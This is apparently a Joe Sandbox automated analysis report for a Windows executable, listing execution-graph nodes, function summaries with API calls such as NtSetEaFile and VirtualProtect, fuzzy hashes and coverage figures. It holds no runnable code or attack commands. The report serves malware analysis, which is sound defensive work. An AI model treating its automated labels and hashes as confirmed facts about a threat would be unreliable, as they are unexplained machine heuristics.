3752 7ff722cb14b8 3751->3752 3753 7ff722cb1394 2 API calls 3752->3753 3754 7ff722cb14c7 3753->3754 3755 7ff722cb1394 2 API calls 3754->3755 3756 7ff722cb14d6 3755->3756 3757 7ff722cb14e5 3756->3757 3758 7ff722cb1394 2 API calls 3756->3758 3759 7ff722cb1394 2 API calls 3757->3759 3758->3757 3760 7ff722cb14ef 3759->3760 3761 7ff722cb14f4 3760->3761 3762 7ff722cb1394 2 API calls 3760->3762 3763 7ff722cb1394 2 API calls 3761->3763 3762->3761 3764 7ff722cb14fe 3763->3764 3765 7ff722cb1503 3764->3765 3766 7ff722cb1394 2 API calls 3764->3766 3767 7ff722cb1394 2 API calls 3765->3767 3766->3765 3768 7ff722cb150d 3767->3768 3769 7ff722cb1512 3768->3769 3770 7ff722cb1394 2 API calls 3768->3770 3771 7ff722cb1394 2 API calls 3769->3771 3770->3769 3772 7ff722cb1521 3771->3772 3773 7ff722cb1394 2 API calls 3772->3773 3774 7ff722cb152b 3773->3774 3775 7ff722cb1394 2 API calls 3774->3775 3776 7ff722cb1530 3775->3776 3777 7ff722cb1394 2 API calls 3776->3777 3778 7ff722cb153f 3777->3778 3779 7ff722cb1394 2 API calls 3778->3779 3780 7ff722cb154e 3779->3780 3781 7ff722cb1394 2 API calls 3780->3781 3782 7ff722cb155d 3781->3782 3783 7ff722cb1394 2 API calls 3782->3783 3784 7ff722cb156c 3783->3784 3785 7ff722cb1394 2 API calls 3784->3785 3786 7ff722cb157b 3785->3786 3787 7ff722cb1394 2 API calls 3786->3787 3788 7ff722cb158a 3787->3788 3789 7ff722cb1394 2 API calls 3788->3789 3790 7ff722cb1599 3789->3790 3791 7ff722cb1394 2 API calls 3790->3791 3792 7ff722cb15a8 3791->3792 3793 7ff722cb1394 2 API calls 3792->3793 3794 7ff722cb15b7 3793->3794 3795 7ff722cb1394 2 API calls 3794->3795 3796 7ff722cb15c6 3795->3796 3797 7ff722cb1394 2 API calls 3796->3797 3798 7ff722cb15d5 3797->3798 3799 7ff722cb15e4 3798->3799 3800 7ff722cb1394 2 API calls 3798->3800 3801 7ff722cb1394 2 API calls 3799->3801 3800->3799 3802 7ff722cb15f3 3801->3802 3802->3299 3802->3304 3804 7ff722cb1394 2 API calls 3803->3804 3805 7ff722cb148b 3804->3805 3806 7ff722cb1394 2 API calls 3805->3806 3807 7ff722cb149a 3806->3807 3808 7ff722cb1394 2 API calls 3807->3808 3809 7ff722cb14a9 3808->3809 3810 7ff722cb1394 2 API calls 3809->3810 3811 7ff722cb14b8 3810->3811 3812 7ff722cb1394 2 API calls 3811->3812 3813 7ff722cb14c7 3812->3813 3814 7ff722cb1394 2 API calls 3813->3814 3815 7ff722cb14d6 3814->3815 3816 7ff722cb14e5 3815->3816 3817 7ff722cb1394 2 API calls 3815->3817 3818 7ff722cb1394 2 API calls 3816->3818 3817->3816 3819 7ff722cb14ef 3818->3819 3820 7ff722cb14f4 3819->3820 3821 7ff722cb1394 2 API calls 3819->3821 3822 7ff722cb1394 2 API calls 3820->3822 3821->3820 3823 7ff722cb14fe 3822->3823 3824 7ff722cb1503 3823->3824 3825 7ff722cb1394 2 API calls 3823->3825 3826 7ff722cb1394 2 API calls 3824->3826 3825->3824 3827 7ff722cb150d 3826->3827 3828 7ff722cb1512 3827->3828 3829 7ff722cb1394 2 API calls 3827->3829 3830 7ff722cb1394 2 API calls 3828->3830 3829->3828 3831 7ff722cb1521 3830->3831 3832 7ff722cb1394 2 API calls 3831->3832 3833 7ff722cb152b 3832->3833 3834 7ff722cb1394 2 API calls 3833->3834 3835 7ff722cb1530 3834->3835 3836 7ff722cb1394 2 API calls 3835->3836 3837 7ff722cb153f 3836->3837 3838 7ff722cb1394 2 API calls 3837->3838 3839 7ff722cb154e 3838->3839 3840 7ff722cb1394 2 API calls 3839->3840 3841 7ff722cb155d 3840->3841 3842 7ff722cb1394 2 API calls 3841->3842 3843 7ff722cb156c 3842->3843 3844 7ff722cb1394 2 API calls 3843->3844 3845 7ff722cb157b 3844->3845 3846 7ff722cb1394 2 API calls 3845->3846 3847 7ff722cb158a 3846->3847 3848 7ff722cb1394 2 API calls 3847->3848 3849 7ff722cb1599 3848->3849 3850 7ff722cb1394 2 API calls 3849->3850 3851 7ff722cb15a8 3850->3851 3852 7ff722cb1394 2 API calls 3851->3852 3853 7ff722cb15b7 3852->3853 3854 7ff722cb1394 2 API calls 3853->3854 3855 7ff722cb15c6 3854->3855 3856 7ff722cb1394 2 API calls 3855->3856 3857 7ff722cb15d5 3856->3857 3858 7ff722cb15e4 3857->3858 3859 7ff722cb1394 2 API calls 3857->3859 3860 7ff722cb1394 2 API calls 3858->3860 3859->3858 3861 7ff722cb15f3 3860->3861 3861->3309 3863 7ff722cb1394 2 API calls 3862->3863 3864 7ff722cb15d5 3863->3864 3865 7ff722cb15e4 3864->3865 3866 7ff722cb1394 2 API calls 3864->3866 3867 7ff722cb1394 2 API calls 3865->3867 3866->3865 3868 7ff722cb15f3 3867->3868 3868->3290 3902 7ff722cb1800 3903 7ff722cb1812 3902->3903 3904 7ff722cb1835 fprintf 3903->3904 3905 7ff722cb1000 3906 7ff722cb108b __set_app_type 3905->3906 3907 7ff722cb1040 3905->3907 3908 7ff722cb10b6 3906->3908 3907->3906 3909 7ff722cb10e5 3908->3909 3911 7ff722cb1e00 3908->3911 3912 7ff722cb89d0 __setusermatherr 3911->3912 3928 7ff722cb2320 strlen 3929 7ff722cb2337 3928->3929 3882 7ff722cb1e65 3883 7ff722cb1e67 signal 3882->3883 3884 7ff722cb1e7c 3883->3884 3886 7ff722cb1e99 3883->3886 3885 7ff722cb1e82 signal 3884->3885 3884->3886 3885->3886 3957 7ff722cb1ac3 3958 7ff722cb199e 3957->3958 3959 7ff722cb1b36 3958->3959 3961 7ff722cb19e9 VirtualProtect 3958->3961 3962 7ff722cb1a0f 3958->3962 3960 7ff722cb1ba0 4 API calls 3959->3960 3960->3962 3961->3958 3913 7ff722cb2104 3914 7ff722cb2111 EnterCriticalSection 3913->3914 3915 7ff722cb2218 3913->3915 3917 7ff722cb220b LeaveCriticalSection 3914->3917 3921 7ff722cb212e 3914->3921 3916 7ff722cb2272 3915->3916 3918 7ff722cb2241 DeleteCriticalSection 3915->3918 3920 7ff722cb2230 free 3915->3920 3917->3915 3918->3916 3919 7ff722cb214d TlsGetValue GetLastError 3919->3921 3920->3918 3920->3920 3921->3917 3921->3919 3930 7ff722cb219e 3931 7ff722cb2272 3930->3931 3932 7ff722cb21ab EnterCriticalSection 3930->3932 3933 7ff722cb2265 LeaveCriticalSection 3932->3933 3935 7ff722cb21c8 3932->3935 3933->3931 3934 7ff722cb21e9 TlsGetValue GetLastError 3934->3935 3935->3933 3935->3934

                                                                          Executed Functions

                                                                          Function 00007FF722CB1160 Relevance: 13.6, APIs: 9, Instructions: 130sleepstringCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000018.00000002.1382292167.00007FF722CB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF722CB0000, based on PE: true
                                                                          • Associated: 00000018.00000002.1382256533.00007FF722CB0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382322992.00007FF722CB9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382361438.00007FF722CBB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382677074.00007FF722F34000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382705070.00007FF722F38000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_24_2_7ff722cb0000_jmpuqfvaiyka.jbxd
                                                                          Similarity
                                                                          • API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                                                          • String ID:
                                                                          • API String ID: 2643109117-0
                                                                          • Opcode ID: 33147b93d3701e335beab6acdd25239b8f55d89fcc81f6933ad477664c7f4a0a
                                                                          • Instruction ID: 1137020ee3fc5169b01e2f73066ff3a18e444d9e20fb98efbb642eb2161ee3ea
                                                                          • Opcode Fuzzy Hash: 33147b93d3701e335beab6acdd25239b8f55d89fcc81f6933ad477664c7f4a0a
                                                                          • Instruction Fuzzy Hash: FA510221E1E68285FB14BB29ED54279A7A0EF48790F845031C94D473A2DEFCE981CF61
                                                                          Function 00007FF722CB1394 Relevance: 1.5, APIs: 1, Instructions: 24filenativeCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          • NtSetEaFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF722CB1156), ref: 00007FF722CB13F7
                                                                          Memory Dump Source
                                                                          • Source File: 00000018.00000002.1382292167.00007FF722CB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF722CB0000, based on PE: true
                                                                          • Associated: 00000018.00000002.1382256533.00007FF722CB0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382322992.00007FF722CB9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382361438.00007FF722CBB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382677074.00007FF722F34000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382705070.00007FF722F38000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_24_2_7ff722cb0000_jmpuqfvaiyka.jbxd
                                                                          Similarity
                                                                          • API ID: File
                                                                          • String ID:
                                                                          • API String ID: 749574446-0
                                                                          • Opcode ID: 34d4e340c9d6daee3032bc7e0544f00e0151ab38925e07877774b2b67457b6f5
                                                                          • Instruction ID: 1ff39dc15c740d1ee8baf682b1ee188dcc8e40f5ea34bb2b9258ef18133a9ae9
                                                                          • Opcode Fuzzy Hash: 34d4e340c9d6daee3032bc7e0544f00e0151ab38925e07877774b2b67457b6f5
                                                                          • Instruction Fuzzy Hash: A5F0B6B190CB4586E714EF59FC5102AB764FB48380B804535E99C43725DFBCE090CFA0

                                                                          Non-executed Functions

                                                                          Function 00007FF722CB3350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000018.00000002.1382292167.00007FF722CB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF722CB0000, based on PE: true
                                                                          • Associated: 00000018.00000002.1382256533.00007FF722CB0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382322992.00007FF722CB9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382361438.00007FF722CBB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382677074.00007FF722F34000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382705070.00007FF722F38000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_24_2_7ff722cb0000_jmpuqfvaiyka.jbxd
                                                                          Similarity
                                                                          • API ID: memset$wcscatwcscpywcslen
                                                                          • String ID: $0$0$@$@
                                                                          • API String ID: 4263182637-1413854666
                                                                          • Opcode ID: 93e0492ec2d255cc4c75789877eed90ff2c504d1749edde826e88f854269cb75
                                                                          • Instruction ID: 33ea012a72c1d63f7844be3bcce425bbf880abee62f4346771ad97cdd38a0d6a
                                                                          • Opcode Fuzzy Hash: 93e0492ec2d255cc4c75789877eed90ff2c504d1749edde826e88f854269cb75
                                                                          • Instruction Fuzzy Hash: B5B1612191C6C185F721AB28E8453EAB7A0FF94344F801235EA8957AA5DFFDD685CF10
                                                                          Function 00007FF722CB2690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000018.00000002.1382292167.00007FF722CB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF722CB0000, based on PE: true
                                                                          • Associated: 00000018.00000002.1382256533.00007FF722CB0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382322992.00007FF722CB9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382361438.00007FF722CBB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382677074.00007FF722F34000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382705070.00007FF722F38000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_24_2_7ff722cb0000_jmpuqfvaiyka.jbxd
                                                                          Similarity
                                                                          • API ID: wcslen$memsetwcscatwcscpywcsncmp
                                                                          • String ID: 0$X$`
                                                                          • API String ID: 329590056-2527496196
                                                                          • Opcode ID: 4d71adc5166bee8b33192e5275f9d93b346423a90138f906295783fdbadf67bc
                                                                          • Instruction ID: cee6421adeb984ec5bf51963055006d3e83f93a37f5f94e71580cbfbddae4a9d
                                                                          • Opcode Fuzzy Hash: 4d71adc5166bee8b33192e5275f9d93b346423a90138f906295783fdbadf67bc
                                                                          • Instruction Fuzzy Hash: B3026E2291CBC185F720AF29E8443AAB7A0FB85794F804235DA9C477E5DFBCD585CB20
                                                                          Function 00007FF722CB1BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106memoryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          • VirtualQuery.KERNEL32(?,?,?,?,00007FF722CBA4B8,00007FF722CBA4B8,?,?,00007FF722CB0000,?,00007FF722CB1991), ref: 00007FF722CB1C63
                                                                          • VirtualProtect.KERNEL32(?,?,?,?,00007FF722CBA4B8,00007FF722CBA4B8,?,?,00007FF722CB0000,?,00007FF722CB1991), ref: 00007FF722CB1CC7
                                                                          • memcpy.MSVCRT ref: 00007FF722CB1CE0
                                                                          • GetLastError.KERNEL32(?,?,?,?,00007FF722CBA4B8,00007FF722CBA4B8,?,?,00007FF722CB0000,?,00007FF722CB1991), ref: 00007FF722CB1D23
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000018.00000002.1382292167.00007FF722CB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF722CB0000, based on PE: true
                                                                          • Associated: 00000018.00000002.1382256533.00007FF722CB0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382322992.00007FF722CB9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382361438.00007FF722CBB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382677074.00007FF722F34000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382705070.00007FF722F38000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_24_2_7ff722cb0000_jmpuqfvaiyka.jbxd
                                                                          Similarity
                                                                          • API ID: Virtual$ErrorLastProtectQuerymemcpy
                                                                          • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
                                                                          • API String ID: 2595394609-2123141913
                                                                          • Opcode ID: c13bc184f9e468ca946f01b08c36f6b322e0f33552aa0b983c741c1689b64d87
                                                                          • Instruction ID: 78348ac7d5b06c82d0a054b81690e479b701466fc9de104b18ba923977b544e8
                                                                          • Opcode Fuzzy Hash: c13bc184f9e468ca946f01b08c36f6b322e0f33552aa0b983c741c1689b64d87
                                                                          • Instruction Fuzzy Hash: 4641E0A1A09A9291FF51AB19DC546B8A7A0FF44BC1F954132CE0D437A4DEFCE681DB20
                                                                          Function 00007FF722CB2104 Relevance: 9.1, APIs: 6, Instructions: 51COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000018.00000002.1382292167.00007FF722CB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF722CB0000, based on PE: true
                                                                          • Associated: 00000018.00000002.1382256533.00007FF722CB0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382322992.00007FF722CB9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382361438.00007FF722CBB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382677074.00007FF722F34000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382705070.00007FF722F38000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_24_2_7ff722cb0000_jmpuqfvaiyka.jbxd
                                                                          Similarity
                                                                          • API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
                                                                          • String ID:
                                                                          • API String ID: 3326252324-0
                                                                          • Opcode ID: 4ca88a61bf9d3773c0a6e185415e83dc06056944375869d0337bfc238e227df4
                                                                          • Instruction ID: 9e7dbd18efbd06d4c4ae14a121909170b4941777f2a95cf6450f765154145d3a
                                                                          • Opcode Fuzzy Hash: 4ca88a61bf9d3773c0a6e185415e83dc06056944375869d0337bfc238e227df4
                                                                          • Instruction Fuzzy Hash: 4121E021E0DA8282FB65AB05ED50235A264FF14B90FC40030C95E57AA8DFFCED86DB21
                                                                          Function 00007FF722CB1E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 640 7ff722cb1e10-7ff722cb1e2d 641 7ff722cb1e2f-7ff722cb1e38 640->641 642 7ff722cb1e3e-7ff722cb1e48 640->642 641->642 643 7ff722cb1f60-7ff722cb1f69 641->643 644 7ff722cb1ea3-7ff722cb1ea8 642->644 645 7ff722cb1e4a-7ff722cb1e53 642->645 644->643 648 7ff722cb1eae-7ff722cb1eb3 644->648 646 7ff722cb1e55-7ff722cb1e60 645->646 647 7ff722cb1ecc-7ff722cb1ed1 645->647 646->644 649 7ff722cb1f23-7ff722cb1f2d 647->649 650 7ff722cb1ed3-7ff722cb1ee2 signal 647->650 651 7ff722cb1eb5-7ff722cb1eba 648->651 652 7ff722cb1efb-7ff722cb1f0a call 7ff722cb89e0 648->652 655 7ff722cb1f2f-7ff722cb1f3f 649->655 656 7ff722cb1f43-7ff722cb1f45 649->656 650->649 653 7ff722cb1ee4-7ff722cb1ee8 650->653 651->643 657 7ff722cb1ec0 651->657 652->649 661 7ff722cb1f0c-7ff722cb1f10 652->661 658 7ff722cb1eea-7ff722cb1ef9 signal 653->658 659 7ff722cb1f4e-7ff722cb1f53 653->659 655->656 656->643 657->649 658->643 662 7ff722cb1f5a 659->662 663 7ff722cb1f12-7ff722cb1f21 signal 661->663 664 7ff722cb1f55 661->664 662->643 663->643 664->662
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000018.00000002.1382292167.00007FF722CB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF722CB0000, based on PE: true
                                                                          • Associated: 00000018.00000002.1382256533.00007FF722CB0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382322992.00007FF722CB9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382361438.00007FF722CBB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382677074.00007FF722F34000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382705070.00007FF722F38000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_24_2_7ff722cb0000_jmpuqfvaiyka.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: CCG
                                                                          • API String ID: 0-1584390748
                                                                          • Opcode ID: 37ee16624aa9777020c0451daf6486887ee32cab52f9089ef5a409978db14931
                                                                          • Instruction ID: c346f58111b4ee46fc8895b531baea049367c45c3fde50ac5dcf9d42aef76779
                                                                          • Opcode Fuzzy Hash: 37ee16624aa9777020c0451daf6486887ee32cab52f9089ef5a409978db14931
                                                                          • Instruction Fuzzy Hash: B321AE21E0C14642FB75721D9D883799281EF887A4FA48231D90D433E4CEEEECC2CA61
                                                                          Function 00007FF722CB1880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138memoryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 665 7ff722cb1880-7ff722cb189c 666 7ff722cb18a2-7ff722cb18f9 call 7ff722cb2420 call 7ff722cb2660 665->666 667 7ff722cb1a0f-7ff722cb1a1f 665->667 666->667 672 7ff722cb18ff-7ff722cb1910 666->672 673 7ff722cb1912-7ff722cb191c 672->673 674 7ff722cb193e-7ff722cb1941 672->674 675 7ff722cb194d-7ff722cb1954 673->675 676 7ff722cb191e-7ff722cb1929 673->676 674->675 677 7ff722cb1943-7ff722cb1947 674->677 680 7ff722cb1956-7ff722cb1961 675->680 681 7ff722cb199e-7ff722cb19a6 675->681 676->675 678 7ff722cb192b-7ff722cb193a 676->678 677->675 679 7ff722cb1a20-7ff722cb1a26 677->679 678->674 682 7ff722cb1b87-7ff722cb1b98 call 7ff722cb1d40 679->682 683 7ff722cb1a2c-7ff722cb1a37 679->683 685 7ff722cb1970-7ff722cb199c call 7ff722cb1ba0 680->685 681->667 684 7ff722cb19a8-7ff722cb19c1 681->684 683->681 686 7ff722cb1a3d-7ff722cb1a5f 683->686 687 7ff722cb19df-7ff722cb19e7 684->687 685->681 690 7ff722cb1a7d-7ff722cb1a97 686->690 691 7ff722cb19d0-7ff722cb19dd 687->691 692 7ff722cb19e9-7ff722cb1a0d VirtualProtect 687->692 695 7ff722cb1b74-7ff722cb1b82 call 7ff722cb1d40 690->695 696 7ff722cb1a9d-7ff722cb1afa 690->696 691->667 691->687 692->691 697 7ff722cb1a70-7ff722cb1a77 692->697 695->682 702 7ff722cb1b22-7ff722cb1b26 696->702 703 7ff722cb1afc-7ff722cb1b0e 696->703 697->681 697->690 702->697 706 7ff722cb1b2c-7ff722cb1b30 702->706 704 7ff722cb1b10-7ff722cb1b20 703->704 705 7ff722cb1b5c-7ff722cb1b6f call 7ff722cb1d40 703->705 704->702 704->705 705->695 706->697 708 7ff722cb1b36-7ff722cb1b57 call 7ff722cb1ba0 706->708 708->705
                                                                          APIs
                                                                          • VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF722CB1247), ref: 00007FF722CB19F9
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000018.00000002.1382292167.00007FF722CB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF722CB0000, based on PE: true
                                                                          • Associated: 00000018.00000002.1382256533.00007FF722CB0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382322992.00007FF722CB9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382361438.00007FF722CBB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382677074.00007FF722F34000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382705070.00007FF722F38000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_24_2_7ff722cb0000_jmpuqfvaiyka.jbxd
                                                                          Similarity
                                                                          • API ID: ProtectVirtual
                                                                          • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
                                                                          • API String ID: 544645111-395989641
                                                                          • Opcode ID: 980c9c0f67357cad808cfc73b9f707eed9ad7f9cf4014a5acad94c34b8aa7a4b
                                                                          • Instruction ID: 01bb014337d1554eb0263d58415c3a39307ff43e55f8d40623293fb7d0ecaf1c
                                                                          • Opcode Fuzzy Hash: 980c9c0f67357cad808cfc73b9f707eed9ad7f9cf4014a5acad94c34b8aa7a4b
                                                                          • Instruction Fuzzy Hash: E6515D61E19586D6FB24AB29EC407B4A761EB19B94F844131D91C077A4CEFCE9C2CF20
                                                                          Function 00007FF722CB1800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 712 7ff722cb1800-7ff722cb1810 713 7ff722cb1812-7ff722cb1822 712->713 714 7ff722cb1824 712->714 715 7ff722cb182b-7ff722cb1867 call 7ff722cb2290 fprintf 713->715 714->715
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000018.00000002.1382292167.00007FF722CB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF722CB0000, based on PE: true
                                                                          • Associated: 00000018.00000002.1382256533.00007FF722CB0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382322992.00007FF722CB9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382361438.00007FF722CBB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382677074.00007FF722F34000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382705070.00007FF722F38000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_24_2_7ff722cb0000_jmpuqfvaiyka.jbxd
                                                                          Similarity
                                                                          • API ID: fprintf
                                                                          • String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                          • API String ID: 383729395-3474627141
                                                                          • Opcode ID: ad88118bb06c977573cba03ad9fcaa1d64cb912336aac7ddd9da66abd78a2b6d
                                                                          • Instruction ID: 5004801cb4937147f3800352ebd066474b6d9eeb862a59c86bbdde4ef7bee11f
                                                                          • Opcode Fuzzy Hash: ad88118bb06c977573cba03ad9fcaa1d64cb912336aac7ddd9da66abd78a2b6d
                                                                          • Instruction Fuzzy Hash: 38F0C212E18A4582F720BB68AD410B9E361FF493C0F909231DE4D93262DFACE1C2CB10
                                                                          Function 00007FF722CB219E Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000018.00000002.1382292167.00007FF722CB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF722CB0000, based on PE: true
                                                                          • Associated: 00000018.00000002.1382256533.00007FF722CB0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382322992.00007FF722CB9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382361438.00007FF722CBB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382677074.00007FF722F34000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          • Associated: 00000018.00000002.1382705070.00007FF722F38000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_24_2_7ff722cb0000_jmpuqfvaiyka.jbxd
                                                                          Similarity
                                                                          • API ID: CriticalSection$EnterErrorLastLeaveValue
                                                                          • String ID:
                                                                          • API String ID: 682475483-0
                                                                          • Opcode ID: 3592c698fd96db414e18d9b1a955536c8f084f27075795ee67145d81e77bf88e
                                                                          • Instruction ID: 9a1a894a0c31511d0245ab54de745f23bc65efd17d7a589e2268883c706a40fb
                                                                          • Opcode Fuzzy Hash: 3592c698fd96db414e18d9b1a955536c8f084f27075795ee67145d81e77bf88e
                                                                          • Instruction Fuzzy Hash: 0501DE25E0DA4282FB56BB19AD04274A264FF18B90FC40031C94D53A98DFFDEDD6DB21

                                                                          Execution Graph

                                                                          Execution Coverage:2.4%
                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                          Signature Coverage:0%
                                                                          Total number of Nodes:848
                                                                          Total number of Limit Nodes:2
